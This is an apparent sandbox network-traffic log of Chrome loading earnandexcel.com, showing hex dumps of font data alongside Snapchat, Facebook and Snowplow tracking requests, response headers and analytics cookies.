2024-04-11 21:26:53 UTC	1369	IN	Data Raw: 6c 00 49 01 56 00 49 02 33 00 30 02 3c 00 27 01 62 00 45 01 d7 00 24 01 d8 00 28 01 c5 00 5b 01 c5 00 27 01 a2 00 2f 01 a2 00 17 03 ef 00 43 02 70 00 43 01 d0 00 43 02 b3 00 29 02 b3 00 39 01 a0 00 29 01 a0 00 39 02 7f 00 2e 02 8c 00 13 02 2d 00 5d 02 d5 00 31 02 d5 00 31 01 ea 00 03 02 93 00 30 02 95 00 23 02 d9 00 1f 02 93 00 27 02 b7 00 32 02 78 00 1f 02 ae 00 32 02 b7 00 2e 02 a8 00 20 02 a8 00 20 02 a8 00 36 02 a8 00 3c 02 a8 00 30 02 a8 00 1e 02 a8 00 33 02 a8 00 28 02 a8 00 35 02 a8 00 30 02 b2 00 28 02 a8 00 21 02 a8 00 21 02 a8 00 34 02 a8 00 36 02 a8 00 2f 02 a8 00 1e 02 a8 00 33 02 a8 00 28 02 a8 00 35 02 a8 00 30 02 a8 00 28 02 a8 00 47 02 a8 00 2c 02 a8 00 23 02 a8 00 1c 02 a8 00 13 02 a8 00 14 02 a8 00 23 02 a8 00 16 02 a8 00 41 02 a8 00 26 Data Ascii: lIVI30<'bE$(['/CpCC)9)9.-]110#'2x2. 6<03(50(!!46/3(50(G,##A&
2024-04-11 21:26:53 UTC	1369	IN	Data Raw: 00 19 00 1a 00 1b 00 1c 00 1d 00 1e 00 1f 00 20 00 21 00 22 00 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2a 00 2b 00 2c 00 2d 00 2e 00 2f 00 30 00 31 00 32 00 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3a 00 3b 00 3c 00 3d 00 3e 00 3f 00 40 00 41 00 42 00 43 00 44 00 45 00 46 00 47 00 48 00 49 00 4a 00 4b 00 4c 00 4d 00 4e 00 4f 00 50 00 51 00 52 00 53 00 54 00 55 00 56 00 57 00 58 00 59 00 5a 00 5b 00 5c 00 5d 00 5e 00 5f 00 60 00 61 00 00 00 84 00 85 00 87 00 89 00 91 00 96 00 9c 00 a1 00 a0 00 a2 00 a4 00 a3 00 a5 00 a7 00 a9 00 a8 00 aa 00 ab 00 ad 00 ac 00 ae 00 af 00 b1 00 b3 00 b2 00 b4 00 b6 00 b5 00 ba 00 b9 00 bb 00 bc 02 1e 00 70 00 63 00 64 00 68 02 20 00 76 00 9f 00 6e 00 6a 02 38 00 74 00 69 02 58 00 86 00 98 02 54 00 71 02 59 02 5a 00 66 00 Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`apcdh vnj8tiXTqYZf
2024-04-11 21:26:53 UTC	1369	IN	Data Raw: 66 4c 92 4c dc 4d 10 4d 66 4d 8c 4d e4 4e 0e 4e 4c 4e 92 4e d4 4f 26 4f 72 4f 90 4f ae 4f de 50 10 50 4c 50 8c 50 b6 50 e0 51 24 51 6a 51 b0 51 f6 52 1e 52 3a 52 74 52 a6 52 d4 52 f6 53 2c 53 62 53 ac 53 f0 54 32 54 66 54 a6 54 c8 54 e6 55 2e 55 70 55 96 55 bc 55 e2 56 08 56 40 56 7a 56 9c 56 bc 56 ee 57 36 57 54 57 70 57 7e 57 8c 57 ac 57 cc 57 ec 58 24 58 5c 58 94 58 aa 58 c6 58 d8 59 08 59 6c 59 7e 59 8e 59 c6 5a 12 5a 20 5a 54 5a a2 5a ca 5a fa 5b 2c 5b 68 5b ac 5b d2 5b fe 5c 3e 5c 56 5c 7e 5c ac 5c da 5d 12 5d 4e 5d 76 5d a6 5e 02 5e 46 5e 96 5f 08 5f 70 5f c2 5f e0 5f fa 60 16 60 32 60 4e 60 6a 60 86 60 a4 60 d2 60 f8 61 1e 61 44 61 6a 61 92 61 ce 61 e4 61 fa 62 14 62 22 62 38 62 8c 62 ae 62 d2 63 0a 63 2c 63 48 63 64 63 f8 64 06 64 1c 64 2a 64 3e Data Ascii: fLLMMfMMNNLNNO&OrOOOPPLPPPQ$QjQQRR:RtRRRS,SbSST2TfTTTU.UpUUUVV@VzVVVW6WTWpW~WWWWX$X\XXXXYYlY~YYZZ ZTZZZ[,[h[[[\>\V\~\\]]N]v]^^F^__p___``2`N`j````aaDajaaaabb"b8bbbcc,cHcdcddd*d>
2024-04-11 21:26:53 UTC	1369	IN	Data Raw: 41 86 92 92 89 58 95 fa 24 fa 95 58 4b f6 a5 25 a6 f6 00 00 00 01 00 26 01 79 01 d1 03 0f 00 0e 00 00 13 07 27 37 27 37 17 35 33 15 37 17 07 17 07 fb 51 52 4f 81 20 80 69 81 21 81 4f 52 01 e8 6f 3c 6e 2b 60 2a 8b 8b 2a 60 2b 6e 3c 00 00 00 00 01 00 2b 00 61 02 41 02 78 00 0b 00 00 37 35 23 35 33 35 33 15 33 15 23 15 ee c3 c3 95 be be 61 c3 92 c2 c2 92 c3 00 00 01 00 33 ff 58 01 0d 00 cb 00 11 00 00 25 15 14 06 07 27 36 37 06 23 22 26 35 34 36 33 32 16 01 0d 4c 41 3b 49 21 13 10 26 33 3d 2b 32 40 48 05 43 7c 2c 39 30 4a 07 35 2a 2b 3d 48 00 00 00 00 01 00 40 00 f8 01 8a 01 92 00 03 00 00 25 21 35 21 01 8a fe b6 01 4a f8 9a 00 00 00 01 00 31 ff f4 01 09 00 cd 00 0a 00 00 17 22 26 35 34 36 32 16 15 14 06 9d 2c 40 3f 5a 3f 3f 0c 40 2c 2d 40 40 2d 2c 40 00 00 Data Ascii: AX$XK%&y'7'7537QRO i!ORo<n+`*`+n<+aAx75#53533#a3X%'67#"&54632LA;I!&3=+2@HC\|,90J5+=H@%!5!J1"&5462,@?Z??@,-@@-,@
2024-04-11 21:26:53 UTC	1369	IN	Data Raw: 07 00 00 01 21 35 21 11 21 35 21 02 35 fe 0f 01 f1 fe 0f 01 f1 01 ae 91 fe 5c 92 00 01 00 4a 00 3f 02 55 02 99 00 07 00 00 01 25 35 05 15 05 35 25 01 a4 fe a6 02 0b fd f5 01 5a 01 6e 96 95 ef 7b f0 97 95 00 00 00 00 02 00 1e ff f5 02 01 03 1b 00 1a 00 25 00 00 01 22 07 27 3e 01 33 32 16 15 14 06 07 0e 01 1d 01 23 35 34 36 3f 01 36 35 34 26 02 34 36 33 32 16 15 14 06 23 22 01 0c 43 24 87 1f 84 4f 6b 86 3b 3f 24 26 98 22 28 30 3f 2e 9a 39 27 29 39 39 29 27 02 89 4b 47 46 50 77 5d 3e 57 33 1d 36 24 07 21 2b 40 23 2a 37 2d 21 2a fd a4 50 3a 39 29 28 38 00 00 00 02 00 31 ff ad 03 3e 02 d0 00 31 00 3d 00 00 25 22 26 27 0e 01 23 22 26 35 34 36 33 32 16 17 37 33 07 06 32 36 35 34 26 23 22 06 15 14 16 33 32 36 37 17 0e 01 23 22 26 35 34 36 33 32 16 15 14 06 01 22 Data Ascii: !5!!5!5\J?U%55%Zn{%"'>32#546?654&4632#"C$Ok;?$&"(0?.9')99)'KGFPw]>W36$!+@#7-!P:9)(81>1=%"&'#"&54632732654&#"3267#"&54632"
2024-04-11 21:26:53 UTC	1369	IN	Data Raw: e8 a8 82 68 42 01 8f cc 92 17 6b 75 79 38 42 65 92 00 00 02 00 5b 00 00 02 b5 03 0f 00 0c 00 15 00 00 21 03 23 11 23 11 21 32 16 15 14 07 13 01 33 32 36 35 34 26 2b 01 02 01 a2 62 a2 01 35 78 9d a1 b1 fe 48 87 33 4a 49 35 86 01 19 fe e7 03 0f 81 77 ab 3a fe ce 01 af 32 33 34 2e 00 00 01 00 13 ff f4 02 64 03 1b 00 24 00 00 12 14 16 17 1e 01 15 14 06 23 22 26 27 37 1e 01 33 32 36 35 34 26 27 26 27 26 35 34 36 33 32 16 17 07 26 23 22 d4 3b 43 8c 86 98 87 6e a1 23 8c 17 59 3b 34 43 3d 57 89 36 3c a0 71 62 8f 22 86 28 6c 30 02 5c 46 2a 13 28 6d 5e 6b 87 63 55 48 33 3a 2f 24 22 29 1a 29 36 3a 57 67 85 58 51 49 60 00 00 01 00 15 00 00 02 8c 03 0f 00 07 00 00 01 23 35 21 15 23 11 23 01 00 eb 02 77 eb a1 02 72 9d 9d fd 8e 00 00 01 00 53 ff f5 02 c8 03 0f 00 11 00 Data Ascii: hBkuy8Be[!##!232654&+b5xH3JI5w:234.d$#"&'732654&'&'&54632&#";Cn#Y;4C=W6<qb"(l0\F*(m^kcUH3:/$"))6:WgXQI`#5!##wrS
2024-04-11 21:26:53 UTC	1369	IN	Data Raw: 47 9a 72 6b a3 49 41 fd e8 7d 8c 02 1b 3a 49 49 3a 3b 49 49 00 00 01 00 48 00 00 02 3c 03 2e 00 14 00 00 21 11 34 26 23 22 06 15 11 23 11 33 11 33 3e 01 33 32 16 15 11 01 a1 2f 2e 2f 31 9c 9c 01 1d 55 21 60 64 01 28 2e 3a 3c 2a fe d6 03 2e fe a9 2a 1f 7b 59 fe b4 00 00 02 00 35 00 00 00 f7 03 31 00 0a 00 0e 00 00 12 34 36 33 32 16 15 14 06 23 22 13 11 23 11 35 39 27 29 39 39 29 27 77 9d 02 a8 50 39 38 29 28 38 fd 90 02 16 fd ea 00 00 02 ff d0 fe f8 00 ff 03 31 00 09 00 17 00 00 12 34 36 33 32 16 14 06 23 22 17 11 14 06 23 22 27 35 16 33 32 36 35 11 3d 38 28 29 39 39 29 28 77 71 74 20 17 0e 0d 33 32 02 a8 50 39 39 50 38 5a fd c2 73 6d 07 83 03 2c 35 02 36 00 01 00 48 00 00 02 6a 03 2f 00 0b 00 00 33 23 11 33 11 37 33 07 13 23 27 23 e4 9c 9c b9 c7 d7 dd c5 Data Ascii: GrkIA}:II:;IIH<.!4&#"#33>32/./1U!`d(.:<.{Y514632#"#59')99)'wP98)(814632#"#"'53265=8()99)(wqt 32P99P8Zsm,56Hj/3#373#'#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
225	192.168.2.17	49988	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:52 UTC	727	OUT	POST /p HTTP/1.1 Host: tr.snapchat.com Connection: keep-alive Content-Length: 6892 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sc_at=v2\|H4sIAAAAAAAAAE3GwRHAIAgEwIqY4U4QTDeCkyosPt/sa2eVtZlL+Rlihy0LM2UN1uaO9jcuTB8EmKEJ3l/1AwRuylhAAAAA
2024-04-11 21:26:52 UTC	6892	OUT	Data Raw: 7b 22 63 74 78 22 3a 7b 22 62 74 22 3a 22 31 64 35 33 63 33 38 37 22 2c 22 63 31 22 3a 22 63 38 63 32 66 37 35 33 2d 64 64 63 62 2d 34 33 66 61 2d 62 35 32 38 2d 64 31 63 63 62 63 39 63 65 31 37 63 22 2c 22 6c 63 22 3a 22 33 31 35 63 66 32 33 33 2d 61 61 62 37 2d 34 32 63 36 2d 61 66 64 32 2d 61 64 63 38 34 32 36 33 30 63 30 36 22 2c 22 6c 73 22 3a 22 33 38 61 65 39 61 39 30 2d 66 35 34 30 2d 34 35 35 35 2d 61 36 35 33 2d 30 37 37 32 32 62 30 35 65 66 63 66 22 2c 22 72 22 3a 22 66 36 37 64 38 35 35 31 2d 33 63 31 34 2d 34 65 61 30 2d 62 34 39 34 2d 38 31 32 31 31 64 62 37 63 36 30 31 22 2c 22 73 73 22 3a 22 62 66 61 38 36 63 66 32 2d 37 32 38 34 2d 34 64 38 63 2d 39 32 39 66 2d 39 35 39 37 63 31 38 38 33 66 36 38 22 2c 22 64 66 22 3a 74 72 75 65 2c 22 73 Data Ascii: {"ctx":{"bt":"1d53c387","c1":"c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c","lc":"315cf233-aab7-42c6-afd2-adc842630c06","ls":"38ae9a90-f540-4555-a653-07722b05efcf","r":"f67d8551-3c14-4ea0-b494-81211db7c601","ss":"bfa86cf2-7284-4d8c-929f-9597c1883f68","df":true,"s
2024-04-11 21:26:53 UTC	524	IN	HTTP/1.1 200 OK date: Thu, 11 Apr 2024 21:26:53 GMT strict-transport-security: max-age=31536000; includeSubDomains; preload strict-transport-security: max-age=31536000; includeSubDomains Content-Length: 0 x-envoy-upstream-service-time: 1 server: API Gateway alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 access-control-allow-origin: https://earnandexcel.com access-control-allow-credentials: true Via: 1.1 google, 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
226	192.168.2.17	49989	157.240.241.35	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:52 UTC	617	OUT	GET /tr/?id=719379935201922&ev=PageView&dl=https%3A%2F%2Fearnandexcel.com%2F&rl=&if=false&ts=1712870810369&sw=1280&sh=1024&v=2.9.153&r=stable&a=tmSimo-GTM-WebTemplate&ec=0&o=4126&fbp=fb.1.1712870810368.1597450838&ler=empty&cdl=API_unavailable&it=1712870808940&coo=false&tm=1&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:53 UTC	464	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=10, mss=1277, tbw=3404, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Thu, 11 Apr 2024 21:26:53 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
227	192.168.2.17	49990	157.240.241.35	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:52 UTC	654	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=719379935201922&ev=PageView&dl=https%3A%2F%2Fearnandexcel.com%2F&rl=&if=false&ts=1712870810369&sw=1280&sh=1024&v=2.9.153&r=stable&a=tmSimo-GTM-WebTemplate&ec=0&o=4126&fbp=fb.1.1712870810368.1597450838&ler=empty&cdl=API_unavailable&it=1712870808940&coo=false&tm=1&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:53 UTC	900	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 21:26:53 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 21:26:53 UTC	1539	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
228	192.168.2.17	49991	35.190.43.134	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:52 UTC	727	OUT	POST /p HTTP/1.1 Host: tr6.snapchat.com Connection: keep-alive Content-Length: 885 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sc_at=v2\|H4sIAAAAAAAAAE3GwRHAIAgEwIqY4U4QTDeCkyosPt/sa2eVtZlL+Rlihy0LM2UN1uaO9jcuTB8EmKEJ3l/1AwRuylhAAAAA
2024-04-11 21:26:52 UTC	885	OUT	Data Raw: 7b 22 63 74 78 22 3a 7b 22 62 74 22 3a 22 31 64 35 33 63 33 38 37 22 2c 22 63 31 22 3a 22 63 38 63 32 66 37 35 33 2d 64 64 63 62 2d 34 33 66 61 2d 62 35 32 38 2d 64 31 63 63 62 63 39 63 65 31 37 63 22 2c 22 6c 63 22 3a 22 33 31 35 63 66 32 33 33 2d 61 61 62 37 2d 34 32 63 36 2d 61 66 64 32 2d 61 64 63 38 34 32 36 33 30 63 30 36 22 2c 22 6c 73 22 3a 22 33 38 61 65 39 61 39 30 2d 66 35 34 30 2d 34 35 35 35 2d 61 36 35 33 2d 30 37 37 32 32 62 30 35 65 66 63 66 22 2c 22 72 22 3a 22 33 64 64 39 39 33 38 37 2d 62 62 62 32 2d 34 66 32 37 2d 39 66 38 64 2d 33 30 38 37 33 64 35 39 62 64 32 31 22 2c 22 73 73 22 3a 22 62 66 61 38 36 63 66 32 2d 37 32 38 34 2d 34 64 38 63 2d 39 32 39 66 2d 39 35 39 37 63 31 38 38 33 66 36 38 22 2c 22 64 66 22 3a 74 72 75 65 2c 22 73 Data Ascii: {"ctx":{"bt":"1d53c387","c1":"c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c","lc":"315cf233-aab7-42c6-afd2-adc842630c06","ls":"38ae9a90-f540-4555-a653-07722b05efcf","r":"3dd99387-bbb2-4f27-9f8d-30873d59bd21","ss":"bfa86cf2-7284-4d8c-929f-9597c1883f68","df":true,"s
2024-04-11 21:26:53 UTC	429	IN	HTTP/1.1 200 OK date: Thu, 11 Apr 2024 21:26:53 GMT strict-transport-security: max-age=31536000; includeSubDomains; preload strict-transport-security: max-age=31536000; includeSubDomains Content-Length: 0 x-envoy-upstream-service-time: 0 server: API Gateway alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Via: 1.1 google, 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
229	192.168.2.17	49996	172.64.197.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:53 UTC	541	OUT	OPTIONS /com.snowplowanalytics.snowplow/tp2 HTTP/1.1 Host: some.growplow.events Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://earnandexcel.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:53 UTC	719	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:53 GMT Content-Length: 0 Connection: close access-control-allow-origin: https://earnandexcel.com access-control-allow-credentials: true access-control-allow-headers: Content-Type, SP-Anonymous access-control-max-age: 5 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LJA9ReXxHRl5qQ76SaNs2QEq3ei7Lug0kcyhE42%2Bk34Zi1WVoOqpr4BuGz0BiNZU%2F388m%2BsLnM9bjt02DjhWbvy0%2F4MTgecyZOIMGaplAofeCRLMx8Z8U2qh3ywpczGT%2BD1RIT2NNw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 872e0eb8bedd8c12-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
230	192.168.2.17	49995	172.64.197.28	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:53 UTC	541	OUT	OPTIONS /com.snowplowanalytics.snowplow/tp2 HTTP/1.1 Host: some.growplow.events Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://earnandexcel.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:53 UTC	713	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:53 GMT Content-Length: 0 Connection: close access-control-allow-origin: https://earnandexcel.com access-control-allow-credentials: true access-control-allow-headers: Content-Type, SP-Anonymous access-control-max-age: 5 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9XeMe5fUSWz7bJPhp6ESfUJr7lliw8ayW7jWBUPzE9S1nGYwMIcw9BQ2rFG95CHp%2FqYkwQNwSmtuJ%2BAPOTzuYGU1FOMmILWslPZcxCxFpl4rIA7A6ZBvQScnxDm5525nFbXNzkpwaw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 872e0eb8cf4d0f97-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
231	192.168.2.17	49998	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:53 UTC	2212	OUT	GET / HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Purpose: prefetch Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000
